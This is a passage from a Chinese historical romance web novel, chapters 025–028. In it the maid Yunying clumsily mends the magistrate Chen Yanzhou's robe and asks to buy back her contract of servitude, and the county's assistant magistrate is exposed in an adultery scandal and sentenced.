他们这地界穷的要死,百姓们饭都吃不起了。满县城看看去,真正读书的人家有几户? 老百姓们谁不是整天琢磨着吃喝穿衣? 科举的事儿,且等他们攒个几十年的积蓄,再来考虑吧。 想想家里若是出个捕快,以后再没有人敢欺负他们,甚至走出去都要被人高看一眼。百姓们心头更加火热,一时间连话都不说了,却是赶紧跑回了家,催促家里的子孙洗漱干净,找出最能遮丑的衣衫,赶紧到县城报名去。 这么大的动静,云莺几人在后宅自然也听到了。 因为府里的粗使婆子们讨论的太热烈了! 这些婆子大多是云归县的百姓,因为家里日子太苦实在熬不下去了,这才不得不自卖自身,出来给人当用人使。 也是她们运气好,被丁姑姑看中,直接选进了府里做粗使婆子。 但她们与府里签订的是活契。 这也就意味着,等到了一定年限,她们就可以恢复成自由身,回家继续安享天伦之乐。 先不说这些远的,只说近在眼前的事情。 这些婆子也是进了县衙后,才知道官人家的日子原来是这么过的。 吃的是鸡鸭鱼肉,穿的是绫罗绸缎,府里的摆设样样都有说头,一言一行也都有讲究。 同样是人,别人的日子过的跟那天上的神仙似的,反观她们,哭的跟那地里的小白菜似的。 当然,大人的日子能过的这么好,固然有出身高贵,家里帮衬的缘故,可哪怕没家里帮衬,成了官身,有了俸禄,家里日子总能改善几分。她们不求多的,也不敢奢望日子能过的跟县令府上似的骄奢,但最起码能混个温饱,衣裳上能没有补丁吧? 婆子们都激动坏了,俱都请了假回家探亲。 等从家里回来后,她们又找上云莺,明里暗里询问,是不是可以走走后门? 云莺当时的表情都是懵逼,找她走后门? 她算是那个台面上的人物啊? 想想上次她见那位二爷,还是半个多月前。而那次见面也是不欢而散——这么说太抬举她自己了,其实真实的场面是,那位二爷摆明了态度不待见她,于是她识趣的告退,离那位二爷远远的。 她自己在二爷跟前都提不起来,还指望她去二爷跟前替别人说情,那不是小水沟里撑大船,异想天开么。 025 避之不及 云莺三联拒绝。 我不配,我不行,我做不来! 她也好奇,婆子们怎么都来寻她呢? 按说丁姑姑才是这后宅里掌握实权的人物,在二爷面前也更说的上话,若有什么事儿,去寻丁姑姑说情不是更合适? 云莺这么想的,也是这么问的。 那几个婆子闻言你看看我,我看看你,最后推出一个看着就老实巴交的婆子来。 那婆子干瘦干瘦的,脸色也蜡黄蜡黄的,看着就可怜的厉害。但这已经是她在县衙将养了一个月的成果了。 遥想当初这婆子刚被买进来时,说是瘦成皮包骨,那都是抬举她了。那真就是瘦的跟个骷髅架子没差什么,看着吓人的很。 也是丁姑姑心善,挑人时特意挑那走到绝境的买,这才选了她。 这婆子看着眼前跟仙子似的云莺,呐呐的说:“丁管事气势大,我们看着就害怕。” 云莺恍然大悟,点了点头。 可不是么? 丁姑姑在她和瑞珠几人面前,勉强还能称得上温和,可在府中下人跟前,丁姑姑绝对是个说一不二的严肃管事,婆子们不敢去丁姑姑跟前求恩典,这情有可原。 可是不求丁姑姑,怎么不去求瑞珠和秋宁她们呢?她们三个明显比她更活跃,看起来更愿意管闲事儿吧? 云莺没将这话问出来,但脸色赫然就是那个意思。 这些婆子看见云莺这表情,能怎么说呢? 她们总不能说,瑞珠姑娘在她们跟前一直都高高在上的。平常她们在院里洒扫,瑞珠姑娘从她们跟前走过,都是捏着鼻子捂着嘴的,好似她们是什么腌臜东西,闻到她们身上的味儿能致命似的。 瑞珠姑娘对她们的嫌弃从来就没有掩饰过,她们还敢往她跟前凑,那不是自讨没趣么? 至于秋宁姑娘和木槿姑娘,看起来确实更平易近人些,她们也确实去求了这两位姑娘。奈何都没进得了门,就被伺候姑娘的小丫鬟打发了。 小丫鬟们嘴巴甜,可说出来的话却全不是那么回事儿。她们说姑娘既要给二爷准备衣衫鞋袜,还要和丁姑姑学管家,忙得顾头不顾尾的,实在无暇理会其他。 她们没办法,只能求到云莺门前。 她们对云莺抱了几分希望的,毕竟之前去给二爷送汤,云莺姑娘可是被允许进了书房的——在云莺之后,瑞珠和秋宁也往书房送过汤。可无一例外的,她们都被拒之门外,且受到了来自二爷随身侍卫的呵斥,让她们以后不得靠近书房重地。 由此,就又显出云莺的不同来。 婆子们对云莺的期望很大,可别人不知道的事儿,云莺还能不清楚? 她虽然进了二爷的书房不假,可却没得到二爷丝毫好感,反而受了二爷的冷待,得了二爷好几个冷脸。 她又不是没脸没皮的人,才不会在明知会失败的情况下,继续靠近讨好这位爷。 再说了,二爷看着就是个公允刚正的性子,想来也不会因为谁的求情而偏袒偏向谁。 去二爷哪里说情,确定不会让二爷提前对那人有了厌恶之心,及早就将那人剔除在外吗? 云莺如此一说,几个婆子也觉得,好似确实就是那么回事儿。 她们又琢磨琢磨,感觉更有道理。当然,也是看出了云莺“畏惧”二爷,不敢去二爷跟前说什么。她们也没办法,最后只能怏怏的离开了。 九月的天,若是在京城,早就是秋高气爽的季节,正是登山游玩的好时候。可云归县还闷热的厉害,空气也潮乎乎的,穿在身上的衣服恨不能贴在身上变成第二层皮肤,黏糊的让人难受。 房间中闷热,倒是外边还有一丝凉风。云莺便想着去外边走走,最好是去凉亭下坐一坐。 县衙的后院有一个小小的假山,假山不算高,勉强也就两层楼高度。凉亭就建在假山上边。因为四周没有东西遮挡,凉风直接吹拂过来,倒是个消暑的好去处。 云莺就带着贴身的小丫鬟,两人不紧不慢的往后院走。 小丫鬟比云莺更沉默寡言,简直跟个隐形人似的。若不是她常不常的,还会喊云莺一声“姑娘”,云莺险些就要以为这是个小哑巴了。 小丫鬟不说话,云莺也不说话,而此时在假山下值守和在假山上假寐的两人也没有说话。于是,尴尬的情况的就这般发生了。 事情具体是这个样子的: 云莺转过一株古木,走向假山,和假山下守着的墨雪四目相对。 墨雪:…… 云莺:…… 墨雪一口气没上来,直接咳了个惊天动地。 云莺毫无愧疚感的道了一声,“不好意思,我不知道这里有人。” 墨雪狂摆手,快别说了,丢死人了! 他也就出了一会儿神,结果云莺就跟闪现似的,陡然就出现在他面前。 碰巧今天她上边穿着白底绡花广袖夏衫,裙子是烟雾紫的颜色,在太阳光的照射下,还有点变色,真就跟穿了一身白似的。而她长发披肩,风吹起的发扑到面颊上……若不是青天白日,他险些以为自己见到了女鬼。 墨雪的小心肝狂跳不已,好一会儿后才平复下来。 他冲云莺拱拱手,刚想说“姑娘回吧,二爷在凉亭上休息。”结果,云莺已经先他一步福了福身,“不知道此处有人,云莺打扰了,这就离……”去。 最后一个“去”字还没说出口,头顶又传来熟悉的磁沉男声,“怎么回事儿?” 墨雪和云莺俱都抬起头来,就见那位雍容矜贵的二爷此时正蹙着眉头,站在不远处的台阶上看着他们。 他眸中甚至还有着惺忪的睡意,似乎是被他们的动静打扰了酣眠,便有些恼怒,为此眉梢眼角都带出了几分不悦。 墨雪和云莺赶紧见礼。 陈宴洲未说话,墨雪已经起身,将刚才的事情又说了一遍。 他说着事情经过时,云莺自始至终垂着头,绝不冒犯这位二爷的容颜。 等墨雪说完,陈宴洲才“嗯”了一声。但他也并未针对此事多说些什么,只是既然醒了,也没继续赖下去的道理,陈宴洲便径直开口说:“走吧,去书房。” 他绕过墨雪,下了台阶,转过角,往云莺背道的方向而去。可走了才不过两步,一道“刺啦”声顿时响起。 众人不约而同全往发声的地方看过去——就看见,二爷他月白色银丝暗纹团花长衫的下摆上,被挂了好长一道大口子。 罪魁祸首,正是那截被暴雨打断,露出锋牙利齿的一节枝干。 *** 片刻后,陈宴洲又回到假山之上的凉亭上,而云莺,她就跟个伺候人的小丫鬟似的,亦步亦趋的走在陈宴洲后边。 之前在书房中两人对面而立,云莺就发现这位二爷远比她以为的要高上不少。此时她走在二爷身后,望着这位二爷挺拔的背影,才恍然发觉,这位二爷似乎比她以为的,还要更高一些。 云莺想着事情,就有些出神,待察觉前边那道身影陡然顿住,甚至侧过了身,云莺收紧核心,赶紧停步。 也幸好她停的及时,不然就要一头撞到陈宴洲怀里了。 这位二爷显然也意识到,在此时停步有多大不妥。就见他蹙着眉头,又往上迈了一个台阶,这才居高临下看着她问,“刚才紧盯着我做什么?”那目光赤果果的,让他顿生如芒在背之感。实在忍无可忍,他才回头。 可她却在出神,这是想到哪里去了? 二爷的眉头皱的更紧了,宛若自己大好的男体被人视女干了似的,面色那叫一个难看。 云莺不知是看出来二爷的心思了,亦或是没看出。但不管看出还是没看出,此时她总不能说,她刚才确实在盯着二爷的背影看,那太不良家了。 云莺果断摇头,一本正经说:“二爷在说什么?我方才在想事情,并没有紧盯着二爷看。” 陈宴洲默了片刻,双眸微眯看向云莺那清冷出尘的面孔。良久后,他轻哼一声,“但愿是这样。” 两人上了凉亭,陈宴洲径直在原来的躺椅上躺下来。 云莺算是发现了,这位二爷在人前端方冷漠,看似规矩很严苛,可私下里,这位二爷是个很随性的性格。这从他在府中总是穿常衫,能躺着绝不坐着就可窥见一二。 026 问,答 陈宴洲自在的躺在躺椅里,云莺沉默的站在凉亭入口。两人俱都无言,一时间只有清风携裹着河沙的味道,徐徐的吹拂过来。 云莺是有些不自在的,好在这种不自在很快被打破。 小丫鬟禾穗匆匆忙忙赶过来,将手中的针线包递给云莺,“姑,姑娘,针线拿过来了。” 云莺非常不想过去给这位二爷缝补衣衫,她便再次开口和二爷说:“奴婢的女工差强人意,二爷当真不后悔?” “不要磨磨唧唧。”陈宴洲眼睛都不睁,懒洋洋的指挥云莺说,“快来缝补,稍后还有正事儿。” 云莺很想说,既然还有正事儿等着处理,那您直接去前院换件新衣不就可以了?还非得让她缝补做什么呢?既为难她,又为难他,他们两个谁都不舒坦,这又是何必呢? 不过云莺也清楚,二爷不想这般仪容不整的出现在众人面前,显然也是教养和颜面使然。 那她能说什么? 她只恨刚才没有禾穗机灵,没有在二爷让她为他缝补衣衫时,学着禾穗说一句“奴婢胆小,看见二爷就手抖”,而是老老实实的回了一句“奴婢女工平平”。 也是因此,禾穗逃过一难,现在欢快的跑到假山下边去与墨雪作伴,她却要继续留在这凉亭里,伺候这位冷面的二爷。 有这位二爷在跟前,还用什么凉亭避暑啊,这位二爷自带空调效果,在他跟前,空气都凉飕飕的。 *** 云莺单膝着地,给这位二爷缝补衣摆。 二爷刚才许是着急离开,走路的速度就有些快,也是因此,衣摆上这道裂口就有些大。 裂口有半臂长,且恰好在云纹绣花的地方。若是那巧手的绣娘,指定能循着绣样,将衣裳缝补的天衣无缝。 可惜,云莺的女工手艺真的只能称得上平平。再加上她现在的姿势还非常不舒服,以至于,随着时间愈久,云莺的针线越潦草,她眉头拧的越狠,那位二爷面上的表情越怀疑人生。 陈宴洲不知第几次,将视线落在身侧女子的身上,再落在自己的衣摆上。 这女子说她女工平平,陈宴洲原还以为这是谦词,可现在他只想问,她是如何敢称手艺平平的? 她这根本就是不通女工之技! 明明一张脸长得挺能唬人,可这女工怎么就这么拿不出手! 陈宴洲眉宇间都能拧出个疙瘩来。 他实在不忍继续看云莺缝补——担心自己会忍不住直接起身,穿着这身破损的衣衫回前院去。 陈宴洲不得不想方设法转移自己的注意力。 他看向云莺,看的久了,就发现,这女子在他的注视下,呼吸始终平稳,面上也无异样的神色。 陈宴洲挑眉,问云莺,“你……可有话与我说?” “说什么?”似乎单膝跪地这个姿势实在太磨人了,而膝盖底下的石板也太坚固,云莺这娇养的身子骨委实受不住这种折磨,她便蹙着眉头,微微的倒吸了一口气。 很快,她微抬眸,看向面前这位主子。 这位主子眉宇蹙的更紧了,那双眸子也更加犀利了。他牢牢的盯着她,好似在看什么稀罕玩意儿。 但仔细看,他眸子有些空茫,显而易见已经出神了。 云莺便不着痕迹的挪动一下双腿,换成了一个跪坐的姿势。 等她跪坐好,再抬头看陈宴洲,结果就和这位主子四目相对。 云莺:看见就看见吧,总不能不让她换姿势。 说实话,这主子可真不体贴人!偏她女工是真的不行,缝补个衣裳也慢吞吞的。 云莺严重怀疑,若她不换个姿势,许是等这衣裳缝补好,她这双腿就废了! 当下虽然被人逮了个正着,但云莺丝毫不惧,只当这事儿不存在一样,继续用她那蹩脚的手艺缝补衣摆。 倒是陈宴洲,眉头微拧,仔仔细细的看着垂首做工的云莺,依然觉得很不对劲。 她不是府里送来伺候他的丫鬟么? 这个伺候,当然不只限于端茶倒水、铺床叠被,真实用意众人皆知。 既如此,她是如何在面对他时,能做到平静无波,甚至连呼吸都不乱一下? 即便他不是这府里的主子,不是她以后要伺候的男人,就只论他是个年轻男子,且还样貌不俗,而她是个正值桃李年华的姑娘,在面对陌生男子时,这般从容淡定的反应,也未免太奇怪了。 这是第一点。 再有第二点,联想到往日与一些友人外出游玩做耍时,那些伺候的丫鬟和清倌人,抓住一切机会往他们身上扑。她们俱都谄媚讨好、极尽温柔小意,只想得到富贵公子们的青眼,能够有个好前程。 对比云莺此刻的避之不及,陈宴洲盯着云莺的眼神就更深邃了。 也是这般目光灼灼的看着时,陈宴洲才发现,面前这女子不单是长了一张出尘脱俗的清丽面庞,她还肤色莹润白皙,琼鼻挺翘、樱唇红润,她十指纤纤若葱根……她甚至连蹙眉都是极美的,而身上不知是用了什么胭脂或熏香,离得近了,他竟是被一股清雅怡人的女儿香团团包裹…… 陈宴洲不着痕迹的后仰起身子,拉开两人之间的距离。 “嘶。”云莺突然倒吸一口气,指尖被针尖轻轻的扎了一下。 她拧着眉头看向陈宴洲,“二爷您做什么呢?您明知道我女工手艺不行,您还动来动去。” 陈宴洲看着她细嫩指尖上一个小小的针孔,还好没出血。但只看她疼得倒吸气,陈宴洲也不由的升起几分心虚之感。 再加上被她那双含嗔带怨的含情目这么直勾勾的瞅着,陈宴洲愈发觉得心中躁动,想要起身一走了之。 但是,衣摆……嗯? 陈宴洲才升起的点点愧疚,在看到衣摆被缝补成了蜈蚣时,那点愧疚瞬间烟消云散。 陈宴洲:“害你被针扎,确实是我的不是。只是你也报复回来了。” 云莺蹙眉:“我什么时候报复二爷了?我一个做下人的,哪敢……” 云莺才想说,她一个做下人的,哪里敢报复二爷这位主子?可等他顺着二爷的视线看向那缝补过的痕迹,只觉得瞳孔一缩,整个人都不自在起来。 她知道自己缝补的很差,但没想到会差到这个地步啊。 这好大一条蜈蚣,趴在二爷月白色银丝暗纹团花的长衫上,真个好生碍眼,她都恨不能用手将这碍眼的东西抚开。 云莺:“不若我拆了重新缝?” 陈宴洲“呵呵”,“难道重缝之后,会好看些?” 云莺摇摇头,这她可不敢保证。 陈宴洲捡起旁边的书本往眼上一盖,摆出一副眼不见为净的模样来,“行了,快些缝吧,我稍后还有正事。” 云莺“哦”了一声,继续手脚蠢笨的缝补起来。 陈宴洲实在对那蜈蚣膈应的很,即便眼睛看不见,可只要一想到,那蜈蚣在她的手上慢慢成型,甚至变得更加茁壮,他就浑身难受,只想拿剑将那玩意儿砍了了事。 不能再想了,再想下去,他甚至连旁边这还算貌美的女子,都踢到一边去。 陈宴洲再次转移自己的注意力,他问云莺:“你是何时到的长安候府城郊的庄子?” 云莺不妨陈宴洲会突然问起此事,登时顿住了。不过陈宴洲会知道她的来历,这点她倒是不奇怪。只是此时问起……云莺心中一动,有了个想法。 可还未等这想法更深入些,她又倒吸了一口冷气。得,针尖再次扎到指尖上了。不过这次可没上次的好运了,这次针尖扎的有些深,指尖顿时涌出一颗红艳艳的血珠来。 云莺赶紧将那指尖放在口里,将那血珠抿干净。等手指不再流血了,她才将指尖重新拿出来,不紧不慢的回话说:“奴婢年十岁时,就被长安候府的管事买了去,之后就一直被养在那庄子上。” 陈宴洲佯做没发现云莺方才那瞬间的异样,也佯做没听见她疼得倒吸气的声音,以及微不可闻的咽喉吞咽声。 他继续问云莺说:“家中是何光景,为何将你卖与他人?” 这个问题可难不住云莺。 云莺就说:“我家中父母健在,还有一对弟妹。至于为何将我发卖……我父亲好赌,输了钱债主来家里要债,家里拿不出钱来,那债主便要将我拉走卖与他人。” 她那父亲说没良知,也有一点,但着实不多。 要债的要将她拉走还债的事情,让父亲打开了思路。他觉得好歹是养了这么大的女儿,被那些要债的卖到脏的臭的地方去,他不落忍。但家里要还债,弟弟要读书,没钱真不行。是以,他就背着家中妻儿,将云莺哄骗到县城,然后将她卖给了一个名声还算不错的人牙子,还拜托那人牙子,要给她女儿找个好去处。 这种亲爹,真的是让人连吐槽都嫌浪费口水。 再说陈宴洲,他问过这些,便没继续问,好似方才真就是心血来潮随口问个问题打发下时间。至于云莺的回答,他过耳不过心罢了。 云莺见状却有些急了,她心里还有些别的盘算。可这盘算离了二爷的配合,那真不行。 云莺就试探着说:“虽说父亲将我发卖了,我初始也怨过怪过,但时间久了,对他的怨恨也淡化了。我如今只关心我的母亲。母亲素来胆小爱哭,我也不知道,若母亲知晓我被父亲卖了,会哭成什么样子。她的身体不好,又常年做绣活儿补贴家用,若是哭的很了……” 云莺欲言又止……陈宴洲这次倒是听出些话音来。 怪道他询问问题时,她答话答的那么利索,原来是醉翁之意不在酒。 不过这也说不通她面对他这个男子时,既不俏脸晕红,也不呼吸紊乱。 这其中肯定还有其他原因。 陈宴洲沉默了片刻又问:“你离家时年已十岁,家中可为你定下了亲事?” 027 尴尬的事情发生了 定亲? 话题怎么就扯到这上边来了? 二爷这东一榔头西一棒子的,到底是想问什么?还是单纯就是无聊,想到什么便问了? 云莺心中想七想八,却也不得不打起了精神应付。 二爷问她有没有定亲,那自然是没有的。 云莺有倾城之色,但也因为她容貌过盛,十里八乡来求娶的简直快把门槛踩破了。 求亲的人多了,那眼红的婆子就开始编排起有的没的闲言碎语了。 有的说,这云莺这么好的容貌,嫁到田间地头,哪家哪户能守得住? 又说,这姑娘养得精细,她爹娘是指望将她卖了换大钱的。别说镇上的土财主了,就是县里那些豪绅大户,人家都不一定看得上。 云莺的爹之前也没让女儿高嫁的心,可说的人多了,他就有些蠢蠢欲动。 而至于最后云爹欠了债,为何不将云莺发嫁了换钱,而是将云莺直接卖给人牙子,那也是因为,云爹想要的“嫁妆钱”太高,能出得起的,也就县里那些豪奢人家。可那样的人家,娶的正头娘子都是门当户对的姑娘。云莺这样的,人家只想纳她进门当妾。 那云爹指定不愿意啊。 毕竟云家还有个小子,在读书上颇有天分。云爹是指望儿子科举出仕,改换门庭的。 这若是家里出了个给人做妾的姐姐,以后儿子能抬头做人么? 倒是将云莺卖了,天高皇帝远的,只要这辈子不见面,他们只说把云莺送到某某亲戚家发嫁了,那外人还真能赶到那亲戚家一探究竟啊。 想这些就想远了,只说云莺此刻在回答“定亲”还是“没定亲”之间犹豫不决。 说定亲,之后再提脱籍和离开就顺理成章。可这也有风险,那就是许是二爷不在意,但丁姑姑和荣国公府一定会追究到底。 这送个已经定亲的姑娘给二爷,不是祸害二爷的名声么? 所以,这事儿最后可能在长安候府引爆,而长安候府在恼怒之下,肯定会查个清楚明白。到时候云莺扯得慌瞒不住,要受到几方责难,她肯定落不了好。 可说“没定亲”,那脱籍和离府的事情还如何提? 云莺踌躇斟酌,到底是不情不愿的说了“没定亲”三个字。 可她迟疑良久才给出回答,又是这么不情不愿的口气,就让陈宴洲误会了。 陈宴洲觉得,这姑娘八成是已经订了亲的,即便没定亲,肯定也有意中人。似乎也只有如此,才能解释的通,她从头到尾都表现的如此镇定且平静。 得出了这样一个结论,陈宴洲的好奇心也被满足。他便又一次催问云莺,“还要多长时间?” 云莺仔细看了看,其实已经可以收尾了。但她想说的事情还没说,而下次,也不知道还有没有下次,在与二爷说起身契和脱籍的事儿。 云莺便道:“已经快好了,劳二爷再耐心等一等。” 又忍不住开口说:“奴婢……之前听丁姑姑提起,二爷有意让我们改嫁。奴婢不想改嫁,可想离府回家。” 话已出口,云莺就不再顾忌其他,索性趁机说了个痛快。 “只是奴婢的身契还在府上,不知二爷可能将身契还与奴婢?奴婢不白要,会出重金为自己赎身。还请二爷怜悯,允了奴婢这个请求。” 陈宴洲闻言,这才移开了面颊上的书籍,坐直了腰。 他眸光深邃的看着跪在自己面前的女子,原来她是一心要赎身回家。那她如此避讳他,更解释的通了。 只是,将她的身契还给她? 那身契如今大约摸就在林淑清手上,林淑清攥着这几个丫鬟的身契,是用来拿捏她们,以防止她们坐大了目无主母的。 若他开口去要,林淑清也不见得会给。毕竟林淑清也怕他昏了头,真将这其中一个宠的无法无天,落了她二夫人的颜面。有身契在还好,这几个丫鬟再能闹腾,也是她手里的玩物,逃不出她的五指山。反之,若将身契还给这几个丫鬟,她们肆无忌惮之下能做出什么,那真不好说。到时候林淑清要收拾她们,还要费一番精力,这显然不是林淑清想要的。 但若他真铁了心去要,林淑清也不会不给。 但话又说回来,之前他要打发丁姑姑与这几个女子,是觉得他们太碍事。可如今有人主动要离开了,他却又不想那么如她心意了。 陈宴洲便微眯着眼,审视着云莺问:“你要重金赎身?据我所知,你们几个身无长物,你怕是拿不出那么多银子。” 这话说的……可真对啊。 但你堂堂一个国公府的嫡出公子,你竟然真让一个女人拿出赎身钱,才肯放人,这也太损你作为公侯公子的颜面了吧? 你之前不是还要将她们送离么?如今她识相要主动离开,你不是应该击缶相庆,赶紧将人扫地出门?怎么还真要上赎身银子啊?她刚才真就顺口一说啊。 云莺怔住了,陈宴洲看着她懵逼的模样,心满意足了。 他看云莺已经收好线,衣裳也勉强缝补好了,便起身往外走,一边走还一边说:“等你什么时候攒够了赎身的银子,再说离府的事儿……”不迟。 才迈开一步,陈二爷愉快的神情,又陡然变得僵硬凝滞。 陈宴洲目光沉沉看着云莺,“很好,你这辈子都别想赎身了!” 云莺不知道二爷这又是闹得哪出,但她情急之下,也是直接扑过去,一把抓住了陈宴洲的衣摆。 然后,尴尬的事情发生了—— 云莺这时才发现,她竟然将二爷的衣摆,与里边的中衣缝在了一起! 再看二爷此刻阴森森的表情,云莺面上淡定,心里崩溃,“二爷,我真不是故意的。二爷,我给您做一身新衣裳……” 回应她的,是二爷迅疾离去的背影,以及那一道余韵悠长的冷笑。 *** 云莺这几天有些沉默。 她沉默到什么地步呢? 沉默到丁姑姑和她叙话,她都一个字一个字的往外蹦,好似多说几个字能要了她的命似的。 丁姑姑见状,只以为她是被瑞珠和秋宁挤兑的不高兴了。 看在她心情郁郁的份儿上,丁姑姑也没有说她。 不过让丁姑姑说,她手下这四个姑娘,如今真是各个都有一大堆毛病。 先说瑞珠,之前瞧着挺好,可心思恁大。这还没得宠呢,就在其余三人面前摆上谱了。她还见不得人出头,就因为偷驴案之后她让云莺去给二爷送了一次汤,二爷让她进了门,瑞珠就不满上了。 连带着秋宁,都是些小性的,见不得人好。 秋宁和瑞珠之前互看不顺眼,可又因为嫉妒云莺得了二爷的青眼,两人就合起伙来挤兑云莺,今天还在她面前给云莺上眼药。 包括木槿,看着是个小意温柔的,可似乎是觉得让云莺送汤的事儿,丁姑姑没分给她,就幽怨的看着丁姑姑,好似她做了丧天良的事儿似的。那幽幽怨怨的眼神啊,跟深闺怨妇有的一比,看的丁姑姑冷笑不已。 丁姑姑见不得人这么个扭捏样子,还问木槿到底哪里不舒坦,偏那么木槿只摆出一副委屈的模样来,其余全不肯说,只等着你去猜她的心思。 那丁姑姑可不惯着她们,将这几个糟心的都罚去做针线去。 丁姑姑如今的心情倒是好了不少,盖因为二爷忙于公事,这几天再没催促他们离开。 丁姑姑就和云莺说:“县衙的差役应该已经招好了,二爷以后再使唤人,应该就顺手了。二爷现在心情好,云莺你再去给二爷送些汤喝。” 云莺忙摆手:“姑姑我就不去了,这么好的机会还是给木槿她们吧。” 丁姑姑想撇嘴,忍住了。那几个上不得台面的,这次真得好好整治整治他们。不然还没怎么样呢,就拈风吃醋拿起桥来,她们真以为自己是哪个姑娘夫人,尽等着人来伺候奉承呢? 且快点醒醒吧。 云莺不去,丁姑姑也就歇了心思。也就在丁姑姑琢磨,该给二爷做些厚些的衣衫时,外边陡然就热闹起来了。 有小丫鬟快跑进来,一脸震惊的和众人说:“范县丞私会良家妇女,被人家夫君摁在被窝里了。” 丁姑姑闻言“哎呦”一声,随即反应过来这小丫鬟说了什么,赶紧道:“快给我闭嘴吧,怎么什么脏的臭的都拿出来说,也不怕脏了人的耳朵。” 小丫鬟被训了几句,赶紧缩缩脑袋。可周围当值的丫鬟婆子此刻全跑出来了,一个个探头探脑等着听后续呢。就是丁姑姑,嘴上骂的厉害,但那眼神全不是那么回事儿。 小丫鬟看明白了情况,小嘴巴巴的赶紧将事情说了。 028 缺大德了 要知道,范县丞在云归县那可是个大人物。因为一句铁打的范县丞,流水的云归县县令,范县丞在整个云归县都赫赫有名。 而范县丞在百姓中间的名声也落得好。因他总是一副乐呵呵的老好人模样露面,与人说话也轻言细语,面对来告状的百姓也耐心体贴,那百姓就觉得这县丞是真成。虽然每次县衙都判冤案,但这也不是县丞的问题。谁让他只是个县丞,而这县里能做主所有事情的,是县令老爷呢? 再有范县丞很是孝敬家中老母,乃是远近闻名的大孝子。他还十多年如一日的照顾着瘫痪在床的原配发妻,为了发妻不受冷落,甚至连个妾室都没纳。 如此一个男人,事业有成,对母孝顺,对妻忠义,那是谁也说不得他的不是的。 可就这样一个新三好男人,他被人捉女干在床了! 如今外边的喧闹,可比小丫鬟形容的大的多。 只因为和县丞私会的女子,乃是有夫之妇!且平日里表现颇为贤德,乃是附近有名的贤妻良母。 而被捉奸以后,她那男人看到范县丞的容貌,登时如遭雷劈,当时就暴喊了一声:“你个贱人,你偷男人给老子戴绿帽子不说,你还让老子给你养奸生子!” 女干生子一出来,外边的百姓整个就炸了锅。而内宅中,包括丁姑姑在内的诸人,全都不捏着架子装矜持了,而是迫不及待问小丫鬟:“什么女干生子?那男人的孩子不是他的,是范县丞的?” 小丫鬟忙点头,然后就将街上人的话,一一学了来。 原来,那男人姓钱,乃是个镖局的镖师。镖师在云归县很稀罕,毕竟这地方是真穷,县里百姓等闲时候,哪有用得着镖师去押送贵重物品的? 但不押送物品,不还可以押送人么?换句行里话就是“人镖”。 说来说去还是因为南方这地界山匪太多闹得,百姓们串个远房亲戚,都得找几个人一道出门才安心。那有些钱财傍身的富贵人家,为防万一,还会特意雇佣一些经验丰富的镖师随行。 钱程就是这样一位镖师,且因为身手不错,几乎每次出镖都能安排到他。 镖局里的镖又分短镖和长镖。 先说短镖,只要不出岭南府就算短镖,时间通常不超过半个月。至于长镖,那可就没界限了。不管是京城还是西北,只要顾客想去,他们就随行,而长镖的时间明显更长,有的甚至需要两、三年。 钱程是经验丰富的老镖师,这也就意味着,他每年都有很长时间不在家,甚至是几年都不着家,那这不就给他夫人红杏出墙的机会了么? 再说钱程那两个儿子。 钱程本身长得并不出色,但他一身英武之气,眼神又憨厚端正,勉强也能称得上是一表人才。但他那两个儿子,长得却都很出彩。个个一双大眼白净的肤色,虽有两分像了他们母亲,但和钱程这个当爹的可没一星半点的相似。 街坊邻居也不是没人说闲话,还有人提醒钱程,别一出去就那么长时间。妇道人家,长得又那么貌美,即便她心思正,也耐不住有那些浪荡子夜里来敲门。 钱程对这些全都嗤之以鼻。一来,是他对自家娘子的人品有信心,觉得他那深居简出的娘子绝不是那种人。二来,也是他所在的镖局乃是云归县最大的镖局——镖局里几十个兄弟,大家亲如一家。即便他和兄弟们出镖在外,嫂子们也会时不时的在他家坐坐转转,震慑宵小。 再加上,邻居们虽偶有说闲话,但真没谁抓到他夫人不轨的把柄,因此,钱程愈发觉得那些人都是胡咧咧,是见不得他们夫妻俩感情好。 话是这么说,但看着两个明显不像自己,且和自己也不亲近的儿子,钱程心里也不是没狐疑过。只是这些疑惑,最后在娘子的眼泪中全都消失无踪,钱程也再不敢怀疑他娘子的忠诚。 可谁知,这次走镖回转时,他们夜里在驿站落脚,他就收到了那么一张纸条。 纸条上也没写别的东西,只给了他一个地址,还有一个时间。 说来也巧,那地址就在他们家宅子后边。若是他们家宅子开了后门,就正好对着那家的正大门。两家中间只隔了一条小胡同,而那宅子早年易过手,如今谁是主人也说不清,往日里也只有一对聋哑的老夫妻看宅子。 至于时间,可不就在两天后…… 钱程直觉不妙,当晚连歇息都不曾,赶着夜路就往云归县来。 也是他倒霉,路上碰上大雨,凭白耽搁了一段时间。不然,倒是能早些功夫到达。但即便如此,他来的也刚刚好。趁人不备翻进那家大门,然后将正在通女干的娘子与范县丞抓了个正着…… 而看到范县丞那张白净斯文的脸,钱程所有理智都消失无踪。若不是他那几个师兄弟在关键时候制止住他,钱程指不定就将范县丞打死了。 秋宁和瑞珠等人抻着脑袋问说话的小丫鬟,“那现在呢?范县丞被那镖师抓了个正着,人家没打死他,应该也不会轻易放了他吧?” “可不是。”小丫鬟激动极了。这事儿碰到谁身上,那不得疯啊。辛辛苦苦养家糊口,结果倒好,媳妇跟人暗通款曲,甚至连两个儿子都不是自己的。这换那个男人,也受不住这种打击啊。 “那镖师和他那些师兄弟,一道压着范县丞往县衙来了,准备来告状呢。” 丫鬟说着的时候,前边就响起鸣鼓的声音。一时间,众人的耳朵都竖的高高的,随即又一哄而散,准备找个距离衙门近的地方听后续。 丁姑姑也对此事好奇的厉害,就没约束丫鬟们太跳脱。 丫鬟的言行举止可以以后再管教,但是范县丞落难……她是真想看看这次能不能一棍子打死这混账。 这刁钻油滑的老货,没少给自家二爷使绊子。若不是他在背地里使坏,县衙那帮子差役和皂吏敢怠慢二爷? 呵,那怕真的是老寿星上吊,活得不耐烦了! 有现成的人证,范县丞的案子判的很快。 若是按照前朝法律,男女通女干情况下,允许百姓用私刑。若是私刑之后人还活着,可告官府,男子要被处以宫刑、死刑,女子则是被剥光衣服杖死。 本朝律法律较之前朝开明许多,范县丞最终只被打了三十大板,并被判处流放西北五年。至于那钱程的娘子,被打了二十大板,另喜提牢狱之灾两年。 丁姑姑听到这惩罚后,念叨了一句,“便宜他们了。” 云莺却没觉得,这惩罚哪里便宜了范县丞。 毕竟范县丞早在送官之前,就被钱程与他那些师兄弟们暴打了一顿,听说他被抬到公堂上时,俨然已经出气多进气少了。 三十大板,量刑上来说,确实少了。但是,过了这个量,那范县丞怕不得被打死在公堂上。再有,即便侥幸没被打死,但之后还有五年徒刑。 